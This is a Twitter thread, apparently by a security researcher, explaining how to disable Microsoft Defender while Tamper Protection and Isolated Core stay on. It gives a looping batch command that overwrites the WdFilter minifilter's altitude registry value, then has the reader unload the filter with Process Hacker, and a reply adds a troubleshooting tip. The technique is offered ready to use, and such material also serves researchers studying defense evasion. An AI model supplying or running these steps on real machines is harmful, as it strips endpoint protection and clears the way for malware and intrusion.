Wanna disable Defender when enabled Isolated Core and Tamper protection? Its a bit more trouble- but doable, without ruining Isolated Core/Secureboot etc. Defenders process will run as a unkillable protected service- so new tricks needed. Here we go:
-
Show this thread
-
Ok- tamper protection is easy, just make .bat - run as adm: :again reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\WdFilter Instance" /v altitude /t REG_SZ /d -1 /f goto again Then unload minifilter with process hacker:pic.twitter.com/zVQjBvPuj6
2 replies 4 retweets 30 likesShow this thread -
Replying to @jonasLyk
I just wanted to test this, but I cannot get it to work. It say "access is denied" by executing the script
1 reply 0 retweets 0 likes -
-
-
-
Replying to @jonasLyk
Yes, always in access denied. Also I already have a altitude key in the path. maybe this is the problem?
1 reply 0 retweets 0 likes
Replying to @Checksoe
while it is running unload the .sys then it works
3:32 AM - 23 Feb 2021
1 reply
0 retweets
1 like
-
-
Thanks. Twitter will use this to make your timeline better. UndoUndo
-
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.